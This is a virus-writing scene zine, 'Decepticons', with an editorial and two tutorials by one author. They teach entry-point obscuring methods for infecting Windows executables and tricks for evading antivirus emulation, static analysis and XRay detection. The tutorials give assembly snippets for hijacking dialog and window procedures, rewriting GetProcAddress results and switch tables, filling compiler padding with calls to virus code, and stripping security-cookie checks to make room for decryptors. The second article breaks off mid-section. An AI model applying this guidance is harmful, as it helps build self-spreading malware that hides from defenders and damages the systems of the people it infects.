Decepticons

Editorial:

Hi Guys. My name is Tiberio Degano and I'm a new virus writer. I glad to announce the release of this zine and becoming a part of vx Scene. This zine should have another four members but problems happened and become only me.

I decide to complete this zine as misanthrope wished before he died and I name it decepticons as he named it before he died. Finally I kept my promises and release this zine. This zine will be the last for me I hope to see someone continue this project and Decepticons becomes a famous name and the name of achievements like 29A.

In this time the scene become down and down. Only one zine still struggles for the scene and every group appear ... die from the first zine.

In this zine I try to write everything I know and all ideas I have to help you and inspire you with my ideas and my brain. You will see in this zine my second virus win32.Skipo the ve months effort for making something complex and something can bypass the antivirus defenses.

You will see some English problems I hope you don't bother from that.

I wish at the end of this shit editorial tell you the real members of this zine. Who live and die helping. Not only me in this zine but we work as a group for this day and for this release

The members:

1. Misanthrope : die because of H1N1 : best wishes for you in the next life
   (His brother emails me from Misanthrope email and says that☺).
2. Victoria: her virus had been stolen : I hope you read this zine and best wishes
   (I don't need to say the story because it's related to her so sorry for this incomplete story).
3. CW/1-100: she said that she killed a girl (maybe arrested) if this story is wrong please tell me!!
4. Jacky Qwerty: 3 months inactive. I hope you pass the international economic problem. I'm not sure that this person is the same of 29A but that's his alias
5. Tiberio Degano: that's me ☺ T.degano@gmail.com

And at the end I need to Thank Izee. He really helped me.

Now I hope you don't waste your time and go ahead to read the articles soon

Hey let's go...

Tiberio Degano

Index:

I'll be waiting for your feedback at T.Degano@gmail.com

If you are an Aver don't be embarrassed to give me your feedback. We are neighbors in this field☺.

Hope you enjoyed...

Easy To Infect Hard to Detect

By Tibero Degano

1-1 Introduction:

Hi everyone I'm Tibero Degano

This article taking about EPO. Many VXers don't care so much with EPO even (as I think)it's the most strong idea in the world of virus writing .The benefit of EPO that it doesn't have an One-Click-detect technique to detect it .The polymorphic engines become an easy thing for all emulators and also metamorphic. The truth that you should know that polymorphic engines now become useless against emulators

The difference in EPO is in every type of EPO there's a code to detect it, Reverse it or try to trace the virus EPO routine to bypass it. No way to detect all types of EPO by just one technique .Any new EPO mean a new problem

See MistFall engine how it become very famous and become the most complex virus ever seen and the First metamorphic virus or the most complex metamorphic virus (MetaPHOR) didn't make a huge problem to Avers. Do you know why? Because Mistfall is an irreversible EPO.

EPO include many new ideas and you can call EPO an Art of creativity only it .Not only that but also it's easy to code .it's really "Easy to Infect Hard to Detect".

I'll now take you for a journey to the world of EPO begins with Griyo EPO until reach MistFall with some new ideas.

Now let's begin

2-1 Griyo EPO:

Griyo EPO. Who don't know about Griyo EPO .Most of virus writers use this idea and I think all Avers get bored from it

It simply search for Call to an API and convert it to call to the virus like this

```
Call dword ptr [kernel32.ExitProcess]
```

```
And this will be converted to
```

```
Call Virus_Routine
```

Most of Virus Writers use this idea with ExitProcess to make the virus resident in the memory and to have the ability to use the data section in their poly

2-2 Advanced Griyo EPO:

Griyo EPO was modified from a long time and make it more easier .They search for a call to any procedure in the host begin with push ebp /mov ebp,esp

I think you know them very well so let's jump to the new ideas

3-1 Parameter Infection EPO:

In this EPO we will not modify the destination of any call to API but we will modify a parameter to this API .it's a simple trick but it's new completely new

This is an Example

```
PUSH 0                              ; /lParam = NULL;
PUSH notepad.009F654F               ; |DlgProc=notepad.009F654F
PUSH DWORD PTR DS:[9FA020]          ; |hOwner = NULL
PUSH 0E                             ; |pTemplate = E
PUSH DWORD PTR DS:[9FA080]          ; |hInst = NULL
CALL DWORD PTR DS:[<&USER32.DialogBoxParamW>; \DialogBoxParamW
```

This code will be converted to:

```
PUSH 0                              ; /lParam = NULL;
PUSH Virus_Routine                  ; |DlgProc=***Virus_Routine***
PUSH DWORD PTR DS:[9FA020]          ; |hOwner = NULL
PUSH 0E                             ; |pTemplate = E
PUSH DWORD PTR DS:[9FA080]          ; |hInst = NULL
CALL DWORD PTR DS:[<&USER32.DialogBoxParamW>; \DialogBoxParamW
```

If you notice we change the parameter (DlgProc) to the virus code make it run the virus as a Dialog Proc

We can at the end of the virus call to real Proc by using this code

```
Invoke SetWindowLongA hWnd, GWL_DlgProc, 009F654F
Invoke callwindowProcA hwnd,wMsg,wParam,lParam
```

Don't worry about hWnd and others you will find them on the stack as parameters you can get them easily with no problem

This trick is new and no one think about it .It's not really better maybe more weak but the problem of virus writers that they don't create new EPOs all use Griyo EPO only no thinking about any new Idea

This trick could be used also with CreateWindowHookEx or CallWindowProcA or SetWindowLong GWL_Proc and so on

This trick is easier to be found as they should search for the API and check for their parameters if any of them point to last section or outside code section

We still in the beginning let's go to the second

3-2 Advanced Parameter Infection EPO:

We want to go a bit harder and found another API could make the detection harder. We will use RegisterClassA and search for WndProc and change it

RegisterClassA is an API used to set the information of a window you want to create like it's icon, it's cursor and so on.. One of these information is The Window Proc .This is a Proc started with Push ebp/mov ebp,esp and the pointer to it is a pointer inside code section like this:

```
MOV DWORD PTR SS:[EBP-64],EES.0043351C    ;the Proc that we want
LEA EAX,DWORD PTR SS:[EBP-40]
MOV DWORD PTR SS:[EBP-44],EAX
LEA EAX,DWORD PTR SS:[EBP-68]
PUSH EAX                                  ; pWndClass
CALL <JMP.&user32.RegisterClassA>         ; RegisterClassA
```

If you see in the first line the author of this program start to write the information of Window Proc if we change this code to

```
MOV DWORD PTR SS:[EBP-64],Virus_Routine    ;the Proc that we want
LEA EAX,DWORD PTR SS:[EBP-40]
MOV DWORD PTR SS:[EBP-44],EAX
LEA EAX,DWORD PTR SS:[EBP-68]
PUSH EAX                                  ; pWndClass
CALL <JMP.&user32.RegisterClassA>         ; RegisterClassA
```

We will make the virus run when CreateWindowEx called. We make our virus as the Window Procedure of this Window which he tries to register

I know I describe everything fast that's because this article is long and there are still some techniques I want to describe so if you don't understand something tries to read again and again to understand

You will see this technique wri en n my virus Win32.Skipo hope you like it. The code will be easy .it will search for a call to RegisterClassA and search in 50 bytes before it for a pointer to code section and when you follow it you find push ebp/mov ebp,esp

```
call SearchForRegisterClass
.if !(eax==0)                             ;     found
mov ecx,50                                ;50 bytes
mov edi,eax                               ;the pointer to the call
sub edi,50                                ;make it begin eax-50
.while ecx>0
 invoke FindPointerinCodeSection    ;is it a pointer
 .if !(eax==0)    ;found
  .if byte [eax]==55h && word [eax]==8BEC;push ebp mov ebp,esp
      jmp FoundPointer
  .endif
 .endif
.endw
```

That's just an example on how to use this technique to hide the virus pointer

3-3 GetProcAddress EPO:

Another way you can use an advanced technique to hide the pointer. This technique maybe need a disassembler to work fine

If you see this code:

```
PUSH EES.00425DEC                       ; /pModule = "comctl32.dll"
CALL <JMP.&kernel32.GetModuleHandleA>   ; \GetModuleHandleA
MOV EBX,EAX
TEST EBX,EBX
JE EES.00425DE6
PUSH EES.00425DFC                       ; / "InitializeFlatSB"
PUSH EBX                                ; |hModule
CALL <JMP.&kernel32.GetProcAddress>     ; \GetProcAddress
MOV DWORD PTR DS:[755730],EAX
```

This code is simply get the module base of a Dll and tries to get Address of an API in it. Is this code is common? Yeah very common with also LoadLibraryA

If you see the last line of this code you will see it saves the address in `755730` .If we can save our Virus_Routine in it and delete this code. This will be fine. To modify it we need to

1. Search for GetModuleHandleA or LoadLibraryA and search in the pushes for a string end with ".dll"
2. a er that we need to search for disassemble for 50 bytes searching for GetProcAddressA .If we find it save the pointer to the API and then disassemble the next line and
3. if the next line try to save eax in an Address we will delete GetProcAddress and all its parameters and change it into

```
MOV DWORD PTR DS:[755730],Virus_Routine
```

Don't forget at the end of virus you should LoadLibraryA the dll that he try to load and getProcAddress the API that he need and resave it again in the place `755730`.

You can also search only for GetProcAddress and see what's the API it need, if known API try to modify the getProcAddress and all its parameters (you will need a disassembler disassemble backward) and write above them

```
MOV eax ,Virus_Routine
```

And surely some nops or some junk and the address of your virus will be totally hidden or you can do this

```
MOV eax ,imm32
MOV eax ,Virus_Routine-imm32
```

This technique will be powerful as Delphi use this Technique many in the middle of the code and C++ use it for EncodePointer and DecodePointer so it's very useful and you can build *your virus on it.*

This article doesn't intend to only write some EPOs but to open your mind on think of your EPO and researching for new techniques.

Now let's jump to the next

4- Static Blocks of Code EPO:

Now you will ask me a question: should we build our EPO on an API? Is there anything else?

I'll respond to you and say yes there's another ways to EPO. We can build our EPO on anything we know in the host. What you mean? I mean blocks of code you can find it in many applications with a static shape.

If you build a program in Delphi using VCL or in Visual basic just open a window and nothing else you will see this program take up to 250 kb or maybe more and most of them in code section. Do you ask this question for yourself: where all of these bytes spent? I'll tell you most of these bytes spent in static blocks of code do many things like initialization and loading routines and sometimes for security and so on.

We will try to use these blocks to obfuscate our Virus_Routine entry point or hide the first decryptor on them and many things like that.

Now let's begin our first idea

4-1 Cavity EPO:

Everyone know cavity filling and its idea by Billy .We will not talk about this cavity but we will talk about another cavity by C++ the most famous language of spare places.

C++ some mes like wri ng at the end of code sec on some int3 to align the code sec on physical size it also write some int3 at the end of every procedure to align it to 10H something like this

```
00518252   8B4C24 08         MOV ECX,DWORD PTR SS:[ESP+8]
00518256   8B4424 04         MOV EAX,DWORD PTR SS:[ESP+4]
0051825A   56                PUSH ESI
0051825B   66:8B11           MOV DX,WORD PTR DS:[ECX]
0051825E   8D70 02           LEA ESI,DWORD PTR DS:[EAX+2]
00518261   66:8910           MOV WORD PTR DS:[EAX],DX
00518264   41                /INC ECX
00518265   41                |INC ECX
00518266   66:85D2           |TEST DX,DX
00518269   74 0A             |JE SHORT uedit32.00518275
0051826B   66:8B11           |MOV DX,WORD PTR DS:[ECX]
0051826E   66:8916           |MOV WORD PTR DS:[ESI],DX
00518271   46                |INC ESI
00518272   46                |INC ESI
00518273  ^EB EF             \JMP SHORT uedit32.00518264
00518275   5E                POP ESI
00518276   C3                RETN
00518277   CC                INT3
00518278   CC                INT3
00518279   CC                INT3
0051827A   CC                INT3
0051827B   CC                INT3
0051827C   CC                INT3
0051827D   CC                INT3
0051827E   CC                INT3
0051827F   CC                INT3
```

This is a procedure copied from UltraEdit .as you can see there are many int3 at the end of this procedure there are 9 int3

Imagine if we write a call at these cavity bytes any call will take 5 or maximum 6 bytes and there will be spare 3 bytes. Or we can write these two instruc ons to do more obfusca on

```
mov ebx,Virus_Routine
call ebx
```

And that's better. But you will ask me how we will make this code run in the middle of the host. There's two ways to do that:

1. By a normal jump (and you will need to write at these bytes another jump to return)

2. Or what I prefer is to shi the return of the procedure which we found these bytes a er. Shift Leave/Ret or Mov esp,ebp/pop ebp/ret or any pop then Ret .Try to find the difference of the following code and the previous code we write

```
00518252   8B4C24 08         MOV ECX,DWORD PTR SS:[ESP+8]
00518256   8B4424 04         MOV EAX,DWORD PTR SS:[ESP+4]
0051825A   56                PUSH ESI
0051825B   66:8B11           MOV DX,WORD PTR DS:[ECX]
0051825E   8D70 02           LEA ESI,DWORD PTR DS:[EAX+2]
00518261   66:8910           MOV WORD PTR DS:[EAX],DX
00518264   41                /INC ECX
00518265   41                |INC ECX
00518266   66:85D2           |TEST DX,DX
00518269   74 0A             |JE SHORT uedit32.00518275
0051826B   66:8B11           |MOV DX,WORD PTR DS:[ECX]
0051826E   66:8916           |MOV WORD PTR DS:[ESI],DX
00518271   46                |INC ESI
00518272   46                |INC ESI
00518273  ^EB EF             \JMP SHORT uedit32.00518264
00518277   CC                INT3
00518278   CC                INT3
00518279   CC                INT3
0051827A   CC                INT3
0051827B   CC                INT3
0051827C   CC                INT3
0051827D   CC                INT3
0051827E   CC                INT3
0051827F   CC                INT3
00518275   5E                POP ESI
00518276   C3                RETN
```

If you recognize the difference I'm sure you understand me. We shift pop esi/retn after all cavity bytes to make them run at the end of the Proc

I think now you understand the idea. Now let's talk about how to use this idea for our Evil mind. These bytes are between 0 to 15 bytes .So that's mean we have 15 free bytes (more than Griyo that gives to us maximum 6 bytes) not only that but also this idea is an irreversible idea as you delete all marks that's could AV search for and reverse your idea. It's not like RegisterClassA idea as they can also search for the API and check if you use this trick or not but this no way to do like you do and this is the power of this trick.

Now we have 15 bytes so what we will do by them. We can write something like this:

```
mov ebx,imm32                          ;6 bytes
add ebx,Virus_Routine-imm32            ;6 bytes
call ebx                               ;3 bytes
```

as you can see they are 15 bytes exactly and you obfuscate your pointer to the virus. Imagine how they will search for your virus EntryPoint they will need an emulator comes in handy with the searcher and it will take a much time to find the pointer.

But this is not only what we can do .We can use two Cavity places in row and make it more and more hard like this:

1st Cavity:

```
mov dword ptr [ptr32],Virus_Routine ;8 bytes
```

2nd Cavity:

```
mov ebx ,dword ptr [ptr32]             ;6 bytes
cmp ebx,0                              ;3 bytes
jnz End_Epo                            ;2 bytes
call ebx                               ;3 bytes
End_Epo:
```

So the call now away from the Virus_Routine Pointer .

Or you can do like this

rst in the infec on me write in ptr32 (in the host) a value like imm32 and in the cavity write

```
mov ebx ,dword ptr [ptr32]     ;6 bytes
add ebx,Virus_Routine-imm32    ;6 bytes
call ebx                       ;3 bytes
```

Do whatever you want to do by these spare places and play with AV the cat & rat game searching for your Virus_Routine Pointer.

Now let's jump to last obfuscation with Virus_Routine pointer and let's find our way in Visual Basic

4-2 Switches EPO:

As we say in the beginning we want to analysis the static code of every compiler trying to find a perfect place to hide our pointer to Virus_Routine and now we will take another compiler and jump to Visual basic

This trick is not a better place than the previous places but I want to open your mind for researching and finding a good trick for your EPO. All of these EPOs are just examples of what you can find. This article is simply a tutorial of how to find an EPO and how to create your own idea on EPO. So this is just an example you will find the better

If you write a piece of code in Visual basic I'm sure you hear about "Select case" .It's a command in Visual basic like Switch in C++ and it's written like this:

```
select case X

case 1

case 2

case 3

case else

end select
```

this code converted into assembly like this

```
CMP EAX,4                                       ;  Switch (cases 0..4)
JA pagebree.005DF2CE
JMP DWORD PTR DS:[EAX*4+5DF308]

005DF308  005DF214  pagebree.005DF214
005DF30C  005DF22F  pagebree.005DF22F
005DF310  005DF24A  pagebree.005DF24A
005DF314  005DF265  pagebree.005DF265
005DF318  005DF28D  pagebree.005DF28D
```

Ollydbg can analysis this code and understand that it's switch. It simply write all pointers to all codes in select case in a list and jump to everyone depend the number of case it should run for like this:

```
select case X

case 1
JMP DWORD PTR DS:[EAX*4+5DF308]     ; eax==1

case 2
JMP DWORD PTR DS:[EAX*4+5DF308]     ; eax==2

case 3
JMP DWORD PTR DS:[EAX*4+5DF308]     ; eax==3

case else
JA pagebree.005DF2CE
end select
```

and in the place 5DF308 there is a list of pointers to code that should run for every case

```
pagebree.005DF214
pagebree.005DF22F
pagebree.005DF24A
```

And for "case else " that's the code for it

```
CMP EAX,4                                       ;  Switch (cases 0..4)
JA pagebree.005DF2CE
```

If eax become bigger than all cases the execution flow will go to pagebree.005DF2CE .

Now let's talk about using this trick. I think you know how we will use this trick we will place our Virus_Routine in the middle of this list

We will do this:

1. rst search for mov eax,imm8 jA ptr and then jmp (eax*4 +disp32)
2. second we will go the disp32 and check there are all pointers from 1st dword to imm8 dword (from 0 to imm8 that moved to eax (mov eax,imm8))
3. get a random number between 0 to imm8 and write our Virus_Rou ne pointer and don't forget to save the Old_Pointer that you overwrite
4. the virus should begin by pushad and end with popad and jmp Old_Pointer

It's not hard EPO to use and not so hard to find but with normal searching they will not find your virus and they will need to nd every jmp [eax*4 +disp32] and check for all pointers in disp32 and this is more harder than Griyo EPO and more easier for you to use .

I think I reach the end for obfuscating your Virus_Routine Pointer with some good tricks to use. But you ask me what to choose?

I will tell you choose your mind you idea and your creativity and search for an irreversible idea that makes Avers can't search for it and miss your Virus_Routine forever and stop the Emulation all over. And don't forget all these ideas I create just for you use them or use a combination of them to create your own Style for your Virus

We will now jump into write a piece of code in the middle of the host like a decryptor or something. So why we still talking let's go

4-3 Security Check Cookie EPO:

We will now talk about finding a place to hide our code .As I say before the static blocks of code EPO is simply searching for the Static code that was written for initialization, loading libraries or modules or for Security and this time we will talk about security

I found a piece of code created for security .It's created for Buffer Overflow attacks to secure the return value from being overwritten (as I think) and I think it's fit our decryptor .That its code:

```
01856075  /> 55              PUSH EBP
01856076  |. 8BEC            MOV EBP,ESP
01856078  |. 81EC 28030000   SUB ESP,328
0185607E  |. A3 80CC9301     MOV DWORD PTR DS:[193CC80],EAX
01856083  |. 890D 7CCC9301   MOV DWORD PTR DS:[193CC7C],ECX
01856089  |. 8915 78CC9301   MOV DWORD PTR DS:[193CC78],EDX
0185608F  |. 891D 74CC9301   MOV DWORD PTR DS:[193CC74],EBX
01856095  |. 8935 70CC9301   MOV DWORD PTR DS:[193CC70],ESI
0185609B  |. 893D 6CCC9301   MOV DWORD PTR DS:[193CC6C],EDI
018560A1  |. 66:8C15 98CC93>MOV WORD PTR DS:[193CC98],SS
018560A8  |. 66:8C0D 8CCC93>MOV WORD PTR DS:[193CC8C],CS
018560AF  |. 66:8C1D 68CC93>MOV WORD PTR DS:[193CC68],DS
018560B6  |. 66:8C05 64CC93>MOV WORD PTR DS:[193CC64],ES
018560BD  |. 66:8C25 60CC93>MOV WORD PTR DS:[193CC60],FS
018560C4  |. 66:8C2D 5CCC93>MOV WORD PTR DS:[193CC5C],GS
018560CB  |. 9C              PUSHFD
018560CC  |. 8F05 90CC9301   POP DWORD PTR DS:[193CC90]
018560D2  |. 8B45 00         MOV EAX,DWORD PTR SS:[EBP]
018560D5  |. A3 84CC9301     MOV DWORD PTR DS:[193CC84],EAX
```

```
018560DA  |. 8B45 04        MOV EAX,DWORD PTR SS:[EBP+4]
018560DD  |. A3 88CC9301    MOV DWORD PTR DS:[193CC88],EAX
018560E2  |. 8D45 08        LEA EAX,DWORD PTR SS:[EBP+8]
018560E5  |. A3 94CC9301    MOV DWORD PTR DS:[193CC94],EAX
018560EA  |. 8B85 E0FCFFFF  MOV EAX,DWORD PTR SS:[EBP-320]
018560F0  |. C705 D0CB9301 >MOV DWORD PTR DS:[193CBD0],10001
018560FA  |. A1 88CC9301    MOV EAX,DWORD PTR DS:[193CC88]
018560FF  |. A3 84CB9301    MOV DWORD PTR DS:[193CB84],EAX
01856104  |. C705 78CB9301 >MOV DWORD PTR DS:[193CB78],C0000409
0185610E  |. C705 7CCB9301 >MOV DWORD PTR DS:[193CB7C],1
01856118  |. A1 70AB9301    MOV EAX,DWORD PTR DS:[193AB70]
0185611D  |. 8985 D8FCFFFF  MOV DWORD PTR SS:[EBP-328],EAX
01856123  |. A1 74AB9301    MOV EAX,DWORD PTR DS:[193AB74]
01856128  |. 8985 DCFCFFFF  MOV DWORD PTR SS:[EBP-324],EAX
0185612E  |. FF15 80008F01  CALL DWORD PTR
DS:[<&KERNEL32.IsDebugger>; [IsDebuggerPresent
01856134  |. A3 C8CB9301    MOV DWORD PTR DS:[193CBC8],EAX
01856139  |. 6A 01          PUSH 1
0185613B  |. E8 0E030000    CALL <JMP.&MSVCR80._crt_debugger_hook>
01856140  |. 59             POP ECX
01856141  |. 6A 00          PUSH 0
; /pTopLevelFilter = NULL
01856143  |. FF15 84008F01  CALL DWORD PTR
DS:[<&KERNEL32.SetUnhandl>; \SetUnhandledExceptionFilter
01856149  |. 68 3C129001    PUSH dRasterM.0190123C
; /pExceptionInfo = dRasterM.0190123C
0185614E  |. FF15 88008F01  CALL DWORD PTR
DS:[<&KERNEL32.UnhandledE>; \UnhandledExceptionFilter
01856154  |. 833D C8CB9301 >CMP DWORD PTR DS:[193CBC8],0
0185615B  |. 75 08          JNZ SHORT dRasterM.01856165
0185615D  |. 6A 01          PUSH 1
0185615F  |. E8 EA020000    CALL <JMP.&MSVCR80._crt_debugger_hook>
01856164  |. 59             POP ECX
01856165  |> 68 090400C0    PUSH C0000409
0185616A  |. FF15 F0008F01  CALL DWORD PTR
DS:[<&KERNEL32.GetCurrent>; |[GetCurrentProcess
01856170  |. 50             PUSH EAX
; |hProcess
01856171  |. FF15 EC008F01  CALL DWORD PTR
DS:[<&KERNEL32.TerminateP>; \TerminateProcess
01856177  |. C9             LEAVE
01856178  \. C3             RETN
```

This code is the code of a procedure named Security check cookie. This benefit of this procedure is if you remove it the program will run smoothly with no problem and the functionality of the program will not changed only you will open a security threat in this part of code

You can easily search for this Procedure and search for all calls to it and remove them and this piece of code will be just for your use

You can write your decryptor on it or you can merge it with the previous procedure and make it as a huge cavity. Or at least you can it as a place for subroutines for the next idea or divide your decryptor into 2 places like One_half

The usage is up to you and this is just an example of this idea and I think you will find more and more ideas if you jump for researching. Now let's jump to the next

5-Dynamic Blocks of Code EPO:

This me this idea is not a new idea it's a known idea but rarely used. This idea is win32.SK idea and I think it's only used in 3 viruses even it invented from the DOS me.

This idea is simply replacing a procedure in the host with a decryptor for your virus .In this Idea you will need to have a disassemble like hde32 to disassemble the procedure to reach the end of the procedure

The Steps to use this idea is:

1. search for a call to push ebp/mov ebp,esp
2. begin disassembling from push ebp until find leave/ret or pop ebp/ret
3. copy this proc to the end of the virus and replace it with a decryptor for yours
4. when the virus return to the host it should put the real proc again and jump to it and don't forget to reset all changes your virus do with the stack (especially if you use multi-layer poly)

This idea is easy and very powerful but I'll not describe many because it's a known idea and you can take my virus as example win32.skipo it's commented not like win32.sk

5-Mistfall EPO:

That's the last EPO I have in my bag. I decide to write it at the end because it's the best of the best. It's really hard to program so it's only one of Mistfall in the world.

This engine simply disassemble everything in the program convert it into the smallest pieces make it easy to eat and easy to control. This idea is really hard to detect but not easy to infect I think it's the hardest to program.

I'll not describe it because I'm sure you know it very well and you will see a describe of it in 29A#6 or 29A#5

5-Conclusion:

I think I reach the end of EPO and still one question: What should I choose? You should choose first your mind and your creativity searching for an EPO that impossible to reverse. EPO you can easily program it but hard for avers to detect it and hard to find the entrypoint of you virus. If they didn't find it your virus will become totally hidden and very hard to detect.

I hope you enjoy my article and Enjoy EPO. I hope I inspire you with my words

See you next time and ... Bye

Tiberio Degano

Anti Virus Detection Strategies and how to overcome them

By Tiberio Degano

1- Introduction:

Hi everyone I'm Tiberio Degano .This article will talk about Avers Techniques which they use to detect your virus.

Many Viruses have been written with many features polymorphic, epo and maybe metamorphic and become an easy task for Avers to detect it. Some virus writers create new ideas and spend most of their time and brain try to make it real and these ideas never harden their virus against avers. Do you know why? Because they don't understand Antivirus very well and they don't understand *Anti Virus Detection Strategies* that's what make their virus an easy task for the avers

This article will talk about Avers in depth. How they think and what ideas they will use and the most important thing is how to overcome these defenses and put your brain in the straightway.

We will begin from zero to make understand my Thinking and my brain. To make you create a plan against Avers techniques and strategies and to bypass their defenses and at least create the most complex virus ever seen.

This Article is from my little knowledge. It could contain some missed parts or some bad analyzing .If you see any problem please mail me fast. I'm waiting for your feedback

2- Wildcards :

Let's begin the journey in the avers' brains. We will now begin with wildcards. Wildcards is one of the most famous detection techniques and there's many antivirus companies based only on it and I think one of them is ClamAV. ClamAV is based on pattern to search for it and it include some code for detecting some famous polymorphic engines.

Overcome Wildcards:

You can easily overcome wildcards and bypass it by any obfuscated polymorphic engine like MtE or Marburg.

We will not talk many about wildcards let's jump to the next

3- Emulation :

Emulation is the most powerful technique ever in Antivirus technology. You can say without emula on the An virus will never detect most of 29A viruses and will not detect any complex virus ever.

Many anti-emulation tricks appeared and no one of them stop emulation forever. Most of them delay the antivirus for their viruses for a while (only if there is a new trick) and nothing more than that. That's why I don't prefer anti-emulation tricks like SEH or anything like that.

I think the EPO is the only way to stop emulation forever. Emulation needs an entrypoint to begin and EPO is based on hiding this thing from the emulator to make it impossible to emulate.

I describe some ideas in EPO field I hope you read them in "Easy to Infect Hard to Detect" so I'll not go into the details here I will jump into the next topic

4- Dynamic Analysis VS Static Analysis :

What's the Analyzer? Many people don't ask this question even it's the most important question you should ask to understand how Antivirus work. I think the bad understanding of the detection techniques comes from here. Many people think that the emulator or any analyzer can do a magic to detect your virus and most of ideas against Analyzers is how to make them away from our virus.

Analyzer is an automated tool try to extract the functionality of the code – or your virus – regardless of the shape of the instructions that the virus written by them. The concept make the analyzer like a ghost and can't be bypassed even it's just a computer not a brain and could be bypassed

Dynamic Analysis is simply run a program in a virtual machine and traces its functionality. Understand the functionality is by monitoring any memory changes and tracing the registers' values to understand the behavior of the code

```
cmp eax,edx ;eax-->'ZM' edx-->'ZM'

cmp ebx,ecx ;ebx-->'EP' ecx-->'EP'
```

As you can see the emulator can easily detect that you want to test the beginning of an exe file .Maybe the infected file or maybe searching for the kernel base or something like that

```
mov [00401560],20h
add [00401560],11h ;in [00401560]-->31 -->'1'
```

Here also the emulator will monitor the Memory changes and detect what you want to write. That's the way that emulator detect your virus. It's not a magic it's a normal technique and could be bypassed by a creative brain.

In my virus Skipo I don't face these problems (and I'll tell you why) so I'm not the creative brain that you search for but I can tell you something:

If you could change the source and the destination of everything the emulator will face a big problem against you like that

```
xor eax,056h
xor edx,056h
cmp eax,edx ;eax-->'ZM'Xored by 56h edx-->'ZM'Xored by 56h
```

At this time when the emulator stop at cmp eax,edx it will not see cmp ZM and will not detect your behavior

And as I said before the emulator is not a brain. It only scans the code while running searching for patterns of malicious behavior or famous patterns in your virus. If it found them in the same order (that can't be permutated) it will say that a virus and if not it will pass your virus as a normal file.

These patterns could be memory patterns (data in memory) or could be instructions with specific values in the registers used or memory variables in the instruction.

Is there a way to bypass this technique? Surely yes but need a good understanding and a creative brain to bypass it.

Most of virus writers bypass the whole emulation by a trick (like EPO) and avoid this painful challenge against the dynamic analysis and one of them is me in my virus Skipo. So what will they do? They will jump into the Static Analysis.

So what's the Static Analysis? This is the topic that I write the whole article for it. Many virus writers didn't jump into finding tricks to bypass static analysis even it's not widely used. Yeah it's not widely used but in complex virus like zmist this idea could be used and something like SK or enfish this idea also will be used.

Static Analysis contain two types the First is code Disassembling and the second is Static Analysis for Executables (as the article of it was written with the same name). We will explain each one and tricks to overcome them in the next two parts.

4-1 Static Analysis for Executables:

This type you can simply name it "Tracing the Registers Behavior". This Analysis work by trace the registers and search for a register that should be in the decryptor the counter or the pointer and test if there are all the decryptor's registers' behavior. If there are so this code is decrypting the virus so we should emulate this code and test if the virus appeared in the memory. If not so the file is not infected.

```
mov edi,0040XXXX        ;put a pointer in edi
xxx                     ;code
xxx
mov eax,[edi]           ;read from edi
xxx
xxx
mov [edi],eax           ;write in edi
xxx
xxx
add edi,4               ;add 4 in edi
```

As you can see in this code the analyzer trace what happen to edi and try to detect if it work as a register in the decryptor. If it see code on another register do like the counter and so on (surely without any modification in junk code) it will detect that's the counter.

This technique has two problems. The first problem is the performance. It's very slow so I think negative pattern comes in handy for it. The second problem is it is based on the

registers behavior so any play with the registers will make this idea useless. So we will build our ideas on these problems to overcome this technique. Let's start the first

4-1-1 Dynamic Register Swapping:

As we say in the beginning any play with the registers will make it useless and that's it. I think this is the first new idea (really new) in the article. This technique is simply swapping the registers in the middle of the code like that

```
;ecx-->counter
xchg eax,ecx
;eax-->counter
```

This code will swap the registers in the middle of the decryptor code. The values will be exchanged and the eax will have the value if ecx and will act as the counter in the next instructions of the decryptor. Don't forget that before the loop jump you should swap the registers again and again until reach the initial registers that you begin the loop with them.

That's also another shape

```
;ecx-->counter
mov eax,ecx
;eax-->counter or ecx-->counter
```

This shape will make the value of eax deleted but you will have two registers have the same value and also can any one of them act like the counter. Who will detect what you choose as a counter? No reply.

There's the fake dynamic register swapping it's simply write mov exx,exx without real swapping and if ecx is the counter it will continue the counter like nothing happen. This trick will force the analyzer to detect if there's a real swapping or fake and if it can't detect it should brute force. This idea will become useless against this small trick.

For better explain read this code CAREFULLY and try to detect what's happen?

```
mov ecx,Virus_size      ;ECX-->counter
mov edi,Virus_Place ;edi-->virus pointer
mov edx,edi             ;register swapping
mov eax,dword ptr [edx]       ;act like edi
xor eax,12345678h
mov ebx,edx             ;fake register swapping
mov edi,eax             ;edi become free to use
mov dword ptr[edx],edi ;edx not ebx because it's fake and edi
not eax because there's register swapping
```

I hope you understand my idea. It's really hard to analyze and hard to detect who is the real and who is the fake

Now let's jump to the negative pattern. Hey let's go...

4-1-2 Anti-NegativePattern:

This trick try to write some code that the polymorphic engine can't write but it could be found in the real program like many APIs calls and so on. This trick can make negative pattern filtering more hard even they will see in the polymeric decryptor all instructions

could be found so they can't filter the host code to search for the virus even the virus contain everything.

The idea is simply copy some instructions from the host to the decryptor and put them between if & endif to make them never executed. To make it you should have a disassembler for your virus and that's the steps to use this idea:

1. search for push ebp/mov ebp,esp
2. disassemble the code and save the size of every instruction
3. now begin from a random instruction and take a random number of instructions
4. write in your decryptor

```
xor eax,eax
cmp eax,50                    ;will not happen
jnz Size_of_all_instructions
```

or

```
cmp ecx,Virus_Size+1000 ;ecx-->counter
jnz XXX                 ;ecx will never exceed the virus size
```

5. copy the instructions into your decryptor
6. voila you now have instructions you can't write and this code will never executed

They will need an analyzer before using negative pattern and that's impossible. Imagine we merge this idea with register swapping I think the static analyzing will become impossible or too hard to use.

Let's jump to the next type of static analyzing

4-2 Code Disassembling:

Code disassembling is faster and better than the previous type. This idea is based on the shape of the instruc ons and the imm32 that used in the instruc ons. This idea is searching for interested instructions that could be an instruction of a metamorphic code and the emulator comes in handy in this type of analysis. The benefit of this idea that it doesn't need the entrypoint only any pointer in the middle so it could be used a key validation for XRay.

This trick can deobfuscate a weak polymorphic or a metamorphic code but I think it's very weak against highly-obfuscated polymorphic code.

So overcoming this trick could be done by a multi-layer poly that you can't XRay the whole layers in the same time (like all layers use xor so the XRay will make all of them as one layer).

This trick is used (as I think) in Zmist as the encryption algorithm of Zmist is just a sliding key and the code is metamorphic under this layer. So the detection will be with XRay with code disassembling as a key validation and we will become away from this polymorphic engine and this code integration technique.

We will now talk about the last detection technique XRAY.

5- XRAY:

I think XRay is very famous and it doesn't need any describe so I'll jump into its weaknesses directly. The first problem is the performance of XRay. I think it's the last choice for any Aver to use because of performance and you can see the performance of XRay is based on the luck. As they build their detection algorithm on the worst case so XRay in most cases is a painful choice.

You can avoid it by using a multi-layer multi-algorithm polymorphic engine with different keys (sliding key is preferred and don't use xor in the slide key) or also you can use this new idea as a new key for you. I think it's impossible to be Xrayed especially with multi-algorithm decryptor. Its name is Host Key.

5-1 Host Key:

